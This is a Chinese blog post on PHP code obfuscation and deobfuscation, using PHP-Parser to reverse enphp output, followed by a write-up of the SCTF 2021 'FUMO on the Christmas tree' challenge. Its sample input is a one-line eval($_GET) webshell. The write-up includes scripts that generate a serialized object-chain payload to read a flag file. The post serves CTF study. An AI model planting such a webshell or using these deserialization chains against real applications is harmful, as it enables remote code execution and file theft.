[PHP]浅谈php混淆与反混淆

PHP编译

PHP是解析型高级语言,事实上从Zend内核的角度来看PHP就是一个普通的C程序,它有main函数,我们写的PHP代码是这个程序的输入,然后经过内核的处理输出结果,内核将PHP代码"翻译"为C程序可识别的过程就是PHP的编译。

C程序在编译时将一行行代码编译为机器码,每一个操作都认为是一条机器指令,这些指令写入到编译后的二进制程序中,执行的时候将二进制程序load进相应的内存区域(常量区、数据区、代码区)、分配运行栈,然后从代码区起始位置开始执行,这是C程序编译、执行的简单过程。

同样,PHP的编译与普通的C程序类似,只是PHP代码没有编译成机器码,而是解析成了若干条opcode数组,每条opcode就是C里面普通的struct,含义对应C程序的机器指令,执行的过程就是引擎依次执行opcode,比如我们在PHP里定义一个变量:$a = 123;,最终到内核里执行就是malloc一块内存,然后把值写进去。

PHP编译过程包括词法分析、语法分析,使用re2c、bison完成,旧的PHP版本直接生成了opcode,PHP7新增了抽象语法树(AST),在语法分析阶段生成AST,然后再生成opcode数组。

PHP混淆

PHP代码混淆 ,用非加密方式保护 PHP 程序不被篡改。 主要对PHP代码中的变量、函数和类进行混淆 ,达到通过人工手段几乎不可能进行修改的效果。

PHP-Parser

PHP-Parsernikic用PHP编写的PHP5.2到PHP7.4解析器,其目的是简化静态代码分析和操作。

The main features provided by this library are:

  • Parsing PHP 5, PHP 7, and PHP 8 code into an abstract syntax tree (AST).
    • Invalid code can be parsed into a partial AST.
    • The AST contains accurate location information.
  • Dumping the AST in human-readable form.
  • Converting an AST back to PHP code.
    • Experimental: Formatting can be preserved for partially changed ASTs.
  • Infrastructure to traverse and modify ASTs.
  • Resolution of namespaced names.
  • Evaluation of constant expressions.
  • Builders to simplify AST construction for code generation.
  • Converting an AST into JSON and back.

如何使用

我们先以enphp来举例:

使用方法:

include './func_v2.php';
$options = array(
        //混淆方法名 1=字母混淆 2=乱码混淆
        'ob_function'        => 2,
        //混淆函数产生变量最大长度
        'ob_function_length' => 3,
        //混淆函数调用 1=混淆 0=不混淆 或者 array('eval', 'strpos') 为混淆指定方法
        'ob_call'            => 1,
        //随机插入乱码
        'insert_mess'        => 0,
        //混淆函数调用变量产生模式  1=字母混淆 2=乱码混淆
        'encode_call'        => 2,
        //混淆class
        'ob_class'           => 0,
        //混淆变量 方法参数  1=字母混淆 2=乱码混淆
        'encode_var'         => 2,
        //混淆变量最大长度
        'encode_var_length'  => 5,
        //混淆字符串常量  1=字母混淆 2=乱码混淆
        'encode_str'         => 2,
        //混淆字符串常量变量最大长度
        'encode_str_length'  => 3,
        // 混淆html 1=混淆 0=不混淆
        'encode_html'        => 2,
        // 混淆数字 1=混淆为0x00a 0=不混淆
        'encode_number'      => 1,
        // 混淆的字符串 以 gzencode 形式压缩 1=压缩 0=不压缩
        'encode_gz'          => 0,
        // 加换行(增加可阅读性)
        'new_line'           => 1,
        // 移除注释 1=移除 0=保留
        'remove_comment'     => 1,
        // debug
        'debug'              => 1,
        // 重复加密次数,加密次数越多反编译可能性越小,但性能会成倍降低
        'deep'               => 1,
        // PHP 版本
        'php'                => 7,
    );
$file = 'code_test/1.php';
$target_file = 'encoded/2.php';
enphp_file($file, $target_file, $options);

原始代码:

<?php

error_reporting(E_ALL ^ E_NOTICE);
error_reporting(0);
if (isset($_GET['secret'])) {
    eval($_GET['secret']);
} else {
    highlight_file(__FILE__);
}

加密后代码:

<?php  error_reporting(E_ALL^E_NOTICE);
define('��', '�');
$_GET[��] = explode('|5|8|/', 'error_reporting|5|8|/secret|5|8|/highlight_file');

$_GET{��}[0](E_ALL ^ E_NOTICE);
$_GET{��}[0](0);
if (isset($_GET[$_GET{��}{0x001}])) {
    eval($_GET[$_GET{��}{0x001}]);
} else {
    $_GET{��}[0x0002](__FILE__);
}

可以看到,我们的大部分字符串、函数等等都被替换成了类似于$_GET{乱码}[num]这种形式,我们将其输出print_r($_GET[��]);

Array
(
    [0] => error_reporting
    [1] => secret
    [2] => highlight_file
)

那么我们该如何获得这些参数呢?

image-20220307193116549

打断点调试,寻找相关变量即可

$str1=$ast[2]->expr->expr->args[0]->value->value;
$str2=$ast[2]->expr->expr->args[1]->value->value;
$array=explode($str1,$str2);
print_r($array);

image-20220307193948864

可以看到,和上面输出的是一样的(如果加密等级不一样则还需要加一层gzinflate

我们需要把代码中所有的 $_GET{乱码}[num],都换成原来的字符串。

我们需要用到 NodeTraverser 了,他负责遍历 AST 的每一个节点,通过AST一个节点一个节点将其替换即可。

class GlobalStringNodeVisitor extends NodeVisitorAbstract
{
    protected $globalVariableName;
    protected $stringArray;

    public function __construct($globals_name, $string_array)
    {
        $this->globalVariableName = $globals_name;
        $this->stringArray = $string_array;
    }

    public function leaveNode(Node $node)
    {
        if ($node instanceof Node\Expr\ArrayDimFetch
            && $node->var instanceof Node\Expr\ArrayDimFetch
            && $node->var->var instanceof Node\Expr\Variable
            && $node->var->var->name === '_GET'
            && $node->var->dim instanceof Node\Expr\ConstFetch
            && $node->var->dim->name instanceof Node\Name
            && $node->var->dim->name->parts[0] === $this->globalVariableName
            && $node->dim instanceof Node\Scalar\LNumber
        ) {
            return new Node\Scalar\String_($this->stringArray[$node->dim->value]);
        }
        return null;
    }
}


$nodeVisitor = new GlobalStringNodeVisitor($str0, $array);
$traverser = new NodeTraverser();
$traverser->addVisitor($nodeVisitor);
$ast = $traverser->traverse($ast);

$prettyPrinter = new Standard;
echo $prettyPrinter->prettyPrintFile($ast);

初步输出:

image-20220307195918722

可以发现大部分已经解出来了,主体功能已经得到,但出现了('highlight_file')(__FILE__);,很明显不符合我们平时的写法,将其节点重命名一下:

if (($node instanceof Node\Expr\FuncCall
    || $node instanceof Node\Expr\StaticCall
    || $node instanceof Node\Expr\MethodCall)
    && $node->name instanceof Node\Scalar\String_) {
    $node->name = new Node\Name($node->name->value);
}

image-20220307200233977

好了,一个最简单的代码就还原完成了。

当然,这段示例代码中没有局部变量之类的,如果有可以将其进行替换。

简单总结一下:

所有的标识符(函数名、类名、方法名、函数调用、常量名)、字符串、数字全部都能成功还原。

代码结构完全没有加密,只需替换被混淆的名称即可。

例题

在最近几次CTF中混淆类的题目出了不少,方向也是各不相同,这里简单选择几道

[SUSCTF 2022]rubbish maker

W&M战队

出题人

[SCTF 2021]FUMO on the Christmas tree

我们跟着出题人的思路看看:

代码特征分析

起点

整个代码中唯一的起点是__destruct,里面有_GET变量作为输入继续传递下去。

image-20220307213129592

中间

每个类有且只有一个公共方法。每个方法都会有将_GET变量的数据传递到下一个方法的代码片段(终点方法除外)。

魔术方法

这些公共方法中有有些是魔法方法,共有以下几种:

  • __invoke

  • __call

  • __destruct(起点方法)

忽略唯一的起点方法,每个魔术方法内的代码都有固定的格式:

__invoke方法为:

image-20220307213546163

__call方法的代码比较复杂,以下列出并分析:

public function __call($name, $value) {
    // 将`$name`对应的变量的值,改为代码定死的值。这里将定死的值称为`a`
    extract([$name => 'XG4X73PzX']);
    /** 
     * 这里`$NwfyBTG6`的值从未指定,那么推测上面的`extract`函数便是对其赋值。
     * 另外`NwfyBTG6`是由`$name`变量指定的
     * 那么`NwfyBTG6`应当是上一个调用方法的名字
     */
    if (is_callable([$this->LCtWriB, $NwfyBTG6]))
        // 这里的`a`值被当作方法名被调用。那么`a`值所代表的就是下一个方法名
        call_user_func([$this->LCtWriB, $NwfyBTG6], ...$value);
}

那么整个代码便可以化简为:

public function __call($name, $value) {
    if (is_callable([$this->LCtWriB, 'XG4X73PzX'])) @$this->LCtWriB->XG4X73PzX(...$value);
}
终点

整个代码中有多个类似的代码片段:if(stripos([_GET], "/fumo") === 0) readfile(strtolower([_GET]));。代码的目的是读取根目录的/fumo并输出至浏览器。那么猜测这里就是整个代码的终点。

一部分节点会指向根节点,导致在一些情况下代码运行进入死循环。

普通方法

普通方法中进入下一层的代码片段有以下两种:

  1. @call_user_func($this->[a], ['[key]' => [_GET]]);
  2. if (is_callable([$this->[a], '[b]'])) @$this->[a]->[b]($value);

对于第一种,向下传递的_GET的值会变成一个键值对。会处理键值对的代码只有__invoke方法中有。

public function __invoke($value) {
            $key = base64_decode('eXFhZ0xEaw=='); //获取键值
    		// 将键值对的值取出传递到下一个方法
            @$this->KZeCpL6->RNotnfB2($value[$key]);
        }

同时call_user_func中的第一个参数也是一个属性,但这个属性的类型规定了是object,那么也可以推出,这里应当是调用__invoke方法。

对于第二种,代码会判断[$this->[a], '[b]']这个方法是否可调用。需要注意的是,__call方法可以使这个判断永久为true

普通方法的代码也有固定格式,如下:

public function nNLcXIN($YUyF2GZBib) {
            @$YUyF2GZBib = $YUyF2GZBib;
            if (is_callable([$this->ofNAQvnB, 'sGGElB'])) @$this->ofNAQvnB->sGGElB($YUyF2GZBib);
            if (is_callable([$this->VuyFzWoE, 'lCECP3cz6'])) @$this->VuyFzWoE->lCECP3cz6($YUyF2GZBib);
        }

这里可以将代码的流向视为为二叉树,他们所指向的下一个节点是唯一的。

变量消毒

在普通方法中有以下几种会对变量消毒的方法。

有效消毒
消毒方法对应代码
md5@$input_value = md5($input_value);
crypt@$input_value = crypt($input_value, 'rand_value');
sha1@$input_value = sha1($input_value);
无效值传递@$input_value = $rand_value;
无效消毒
消毒方法对应代码
str_rot13@$input_value = str_rot13($input_value);
base64_decode@$input_value = base64_decode($input_value);
strrev@$input_value = strrev($input_value);
原值传递@$input_value = $input_value;
特殊消毒
消毒方法对应代码特殊原因
ucfirst@$input_value = ucfirst($input_value);base64_decode前调用的话,如果decode的字符串第一个字母是小写,那么必定会解密失败
base64_encode@$input_value = base64_encode($input_value);在之后调用base64_decode的话就算无效消毒,没有调用便是有效消毒

污点追踪

出题人自己的解法

可以看到,每个传递_GET值的代码片段的流向是唯一的。那么我们便可以通过此来构建一个表,来存储代码流向的键值对,在构建流向的时候只需要查表即可。

同时为了简化污点追踪的流程,我将关键点位的函数进行hook,并利用流向表对类属性进行替换赋值。在完成这些操作后我只需要将替换后的代码跑一次即可。

以下是exp.php代码分析,源码请见exp文件夹。

<?php
$input = "/fumo";

$match_start = "/_GET\['(.*)'\]/i";
$match_normal = 'this->([A-Za-z0-9]+)->([A-Za-z0-9]+)\(.*?\);';
$match_invoke = 'call_user_func\(\$this->([A-Za-z0-9]+), \[\'([A-Za-z0-9/=]+)\' => \$[A-Za-z0-9]+\]\)';
$match_call_next_method_name = 'extract\(\[\$name => \'([A-Za-z0-9]+)\'\]\);';
$match_call_last_method_name = 'call_user_func\(\[\$this->([A-Za-z0-9]+), \$([A-Za-z0-9]+)\], \.\.\.\$value\)';

$filename = "./test.php";
$data_list = file($filename);
$data = file_get_contents($filename);

// 获取原生类的数量
$raw_class_len = count(get_declared_classes());
include_once("test.php");
// 获取导入class后的类数量
$class_list = get_declared_classes();
$class_list = array_splice($class_list, $raw_class_len);
$start_class = "";

// 构建流向表
$method_list = [];
foreach ($class_list as $key => $class) {
    if (method_exists($class, "__call")) {
        $call_start_line = (new ReflectionClass($class))->getMethods()[0]->getStartLine();
        $call_code = $data_list[$call_start_line + 2];
        preg_match("~$match_call_last_method_name~", $call_code, $match);
        $method_list['__call'][$match[2]] = $class;
    } else if (method_exists($class, "__invoke")) {
        $call_start_line = (new ReflectionClass($class))->getMethods()[0]->getStartLine();
        $call_code = $data_list[$call_start_line];
        preg_match("/base64_decode\('([A-Za-z0-9\/=]+)'\)/im", $call_code, $match);
        $method_list['__invoke'][$match[1]] = $class; // 可以通过获取传入__invoke值的键值构建
    } else {
        $re_class = new ReflectionClass($class);
        $method_name = $re_class->getMethods()[0]->name;
        $method_list['normal'][$method_name] = $class;
        if (method_exists($class, "__destruct")) {
            $start_class = $class; 
        }
    }
}

preg_match_all(
    "~$match_normal~",
    $data, $matches_normal
);

preg_match_all(
    "~$match_invoke~",
    $data, $matches_invoke
);

preg_match_all(
    "~$match_call_next_method_name~",
    $data, $matches_next_call
);

preg_match_all(
    "~$match_call_last_method_name~",
    $data, $matches_last_call
);

/**
 * 将对应的field进行赋值
 * e.g.
 * $this->aaa->aaa() => ($this->aaa = new aaa)->aaa()
 */
function set_field($field_name, $class_name, $data) {
    $class_name = str_replace("christmasTree\\", "", $class_name);
    return str_replace("\$this->$field_name", "(\$this->$field_name = new $class_name)", $data);
}

if($matches_normal || $matches_invoke || $matches_call){
    // 对普通方法进行处理
    foreach ($matches_normal[1] as $id => $field_name) {
        if (!empty($field_name)) {
            // 当下一个也是普通方法时
            $class_name = $method_list['normal'][$matches_normal[2][$id]];

            if ($class_name !== null) {
                $data = set_field($field_name, $class_name, $data);
                continue;
            }

            // 如果没有在普通方法表中没有找到,证明下一个是__call方法
            $class_name = $method_list['__call'][$matches_normal[2][$id]];

            if ($class_name !== null) {
                $data = set_field($field_name, $class_name, $data);
                continue;
            }
        } else {
            continue;
        }
    }

    // 对__invoke进行替换
    foreach ($matches_invoke[1] as $id => $field_name) {
        if (!empty($field_name)) {
            // 对key值解base64编码
            $invoke_key = base64_encode($matches_invoke[2][$id]);
            $class_name = $method_list['__invoke'][$invoke_key];
            if ($class_name !== null) {
                $invoke = new ReflectionMethod($class_name, '__invoke');
                $line_id = $invoke->getStartLine();
                if (strpos($data_list[$line_id], $invoke_key) !== false) {
                    $data = set_field($field_name, $class_name, $data);
                    continue;
                }
            }
        } else {
            continue;
        }
    }

    // 对__call方法进行处理
    foreach ($matches_last_call[1] as $id => $field_name) {
        if (!empty($field_name)) {
            $class_name = $method_list['normal'][$matches_next_call[1][$id]];
            if ($class_name !== null) {
                $data = set_field($field_name, $class_name, $data);
                continue;
            }
        } else {
            continue;
        }
    }
}

// 将普通函数替换为我们的hook函数,hook函数会将当前对象传入。
$data = str_replace(
    ["str_rot13(", "ucfirst(", "strrev(", "readfile(", "base64_decode($"],
    ["fake_str_rot13(\$this,", "fake_ucfirst(\$this,", "fake_strrev(\$this,", "fake_readfile(\$this,", "fake_base64_decode(\$this,$"],
    $data
);

preg_match($match_start, $data, $start);
$get_expr = $start[0];
$get_value = $start[1];

// 一些为了方便写的替换
$data = str_replace($get_expr, "input", $data);
$data = preg_replace("/function __destruct\(.*\)/i", "function start(\$input)", $data);

/**
 * 对已经执行过的进行标解,作用是防止返回根节点的代码。
 * 原理是新增一个静态变量,初始值是false,
 * 当第一次使用时判断是否为false,如果是便
 * 继续执行代码,并修改为true。当遇到返回
 * 根节点这样的环时,因为已经执行过一次,所
 * 以会直接return中断代码。
 */
$data = str_replace(" \n    public object", " public static \$is_used = false;\n    public object", $data);
$data = str_replace(") {\n", ") {\n\t\tif (!self::\$is_used) self::\$is_used = true; else return;\n", $data);

// 将替换完毕的代码写入另一个文件。
file_put_contents("./test-copy.php", $data);

$code = <<<CODE
<?php
\$input = '$input';
\$list = [];
\$real_list = [];
\$start = null;

function fake_base64_decode(\$value, \$a) {
    global \$list;
    \$list[get_class(\$value)] = 'base64_encode';
    return \$a;
}

function fake_str_rot13(\$value, \$a) {
    global \$list;
    \$list[get_class(\$value)] = 'str_rot13';
    return \$a;
}

function fake_ucfirst(\$value, \$a) {
    global \$list;
    \$list[get_class(\$value)] = 'lcfirst';
    return \$a;
}

function fake_strrev(\$value, \$a) {
    global \$list;
    \$list[get_class(\$value)] = 'strrev';
    return \$a;
}

function fake_readfile(\$value, \$a) {
    global \$input;
    global \$real_list;
    global \$list;
    global \$start;

    if (!empty(\$a) && is_string(\$a) && strpos(\$input, \$a) !== false) {
        \$last_class = new stdClass;
        foreach (debug_backtrace() as \$stack) {
            \$real_list[] = \$list[\$stack['class']];

            if (\$stack['class'] !== NULL) {
                \$start = new \$stack['class'];
                foreach (get_class_vars(\$stack['class']) as \$field => \$_) {
                    \$start->\$field = \$last_class;
                }
                \$last_class = \$start;
            }
        }
    }
}

include "./test-copy.php";
(new $start_class)->start(\$input);

\$real_value = \$input;
foreach (\$real_list as \$function) {
    if (\$function !== NULL) {
        \$real_value = \$function(\$real_value);
    }
}

var_dump(serialize(\$start));
var_dump(urlencode(serialize(\$start)));
var_dump("$get_value=".\$real_value);
CODE;

// 写入poc.php
file_put_contents("poc.php", $code);

poc.php

/* hook函数 */
<?php
$input = '/fumo';
$list = [];
$real_list = [];
$start = null;

//这些hook函数会记录自己调用的对象,并将其填入调用表中。
function fake_base64_decode($value, $a) {
    global $list;
    $list[get_class($value)] = 'base64_encode';
    return $a;
}

function fake_str_rot13($value, $a) {
    global $list;
    $list[get_class($value)] = 'str_rot13';
    return $a;
}

function fake_ucfirst($value, $a) {
    global $list;
    $list[get_class($value)] = 'lcfirst';
    return $a;
}

function fake_strrev($value, $a) {
    global $list;
    $list[get_class($value)] = 'strrev';
    return $a;
}

// 代表进入了终点
function fake_readfile($value, $a) {
    global $input;
    global $real_list;
    global $list;
    global $start;

	// 判断$input和传入的$a是否相同
    if (!empty($a) && is_string($a) && strpos($input, $a) !== false) {
        $last_class = new stdClass;
        // dump出当前调用栈
        foreach (debug_backtrace() as $stack) {
            $real_list[] = $list[$stack['class']];

            if ($stack['class'] !== NULL) {
                $start = new $stack['class'];
                foreach (get_class_vars($stack['class']) as $field => $_) {
                    $start->$field = $last_class;
                }
                $last_class = $start;
            }
        }
    }
}

// 开始执行代码
include "./test-copy.php";
(new christmasTree\WG7N5R3Mgx)->start($input);

// 对输入的值进行编码
$real_value = $input;
foreach ($real_list as $function) {
    if ($function !== NULL) {
        $real_value = $function($real_value);
    }
}

var_dump(serialize($start));
var_dump(urlencode(serialize($start)));
var_dump("W62OWE=".$real_value);

食用方法:

  1. Download class.code to ./test.php.
wget "http://127.0.0.1:8778/sandbox/ed02e1b7f281a1179eac1fa03c915fac76ac7269/class.code" -O test.php
  1. Execute exp.php.
php exp.php
  1. Once exp.php has been executed, just execute poc.php again.
php poc.php /fumo

其他解法

EastJun

用正则表达式提取出类名、方法名、类能调用到的成员变量的方法名,然后使用字典进行映射方便快速查找。然后以__destruct()方法为入口进行搜索,直到最后遇到readfile()方法。

import re
import base64

otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}

def trav(name, cls, al):
    if "fumo" in classes[name]:
        print("->".join(cls))
        print(f"start->{'->'.join(al)}->end",end="\n\n")
        return 1
    for call in otoc[name]:
        if call in ftoo.keys():
            next = ftoo[call]
            if next not in cls:
                trav(next, cls + [next], al+[otoa[name]])
    return 0

if __name__ == "__main__":
    with open("class.code") as f:
        text = f.read()
        res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
        for i in res:
            name = re.findall("class (\w+)", i)[0]
            classes[name] = i
            fs = re.findall("public object (\$\w+?);", i)
            otov[name] = fs
            for fc in fs:
                vtoo[fc] = name
            calls = re.findall("\$this->\w+?->(\w+)\(", i)
            calls1 = []
            a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
            disable = ("md5", "sha1", "crypt", "ucfirst")
            for call in calls:
                ctoo[call] = name
                if len(a) == 0 and "crypt" not in i:
                        calls1.append(call)
                        otoa[name]=""
                else:
                    if len(a) == 0:
                        a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
                    if len(a)==1:
                        a = list(a[0])
                        if "crypt" in i:
                            a[1] = "crypt"
                    otoa[name] = a[1]
                    if a[0] == a[2] and (
                        a[1] != ""
                        and not (a[1] in disable and i.find(a[1]) < i.find(call))
                        or a[1] == ""):
                        calls1.append(call)
            calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
            if calls2:
                ctoo[name] = calls2[0]
                otoa[name] = ""
            otoc[name] = calls1 + calls2
            func = re.findall("function (\w+?)\(", i)[0]
            ftoo[func] = name
            otof[name] = func

            if func == "__call":
                calls = re.findall("=> '(\w+?)'", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
            elif func == "__invoke":
                calls = re.findall("\$this->\w+?->(\w+?)\(", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
                func = base64.b64decode(func.encode()).decode()
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
        trav(ftoo["__destruct"], [ftoo["__destruct"]],[])

总结

image-20220307221615253

还是太菜了,继续努力吧!

参考:

PHP编译原理

https://www.redteaming.top/2020/05/07/%E5%88%9D%E6%8E%A2PHP-Parser%E5%92%8CPHP%E4%BB%A3%E7%A0%81%E6%B7%B7%E6%B7%86/#enphp%E6%B7%B7%E6%B7%86

https://github.com/SycloverTeam/SCTF2021/tree/master/web/FUMO_on_the_Christmas_tree

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值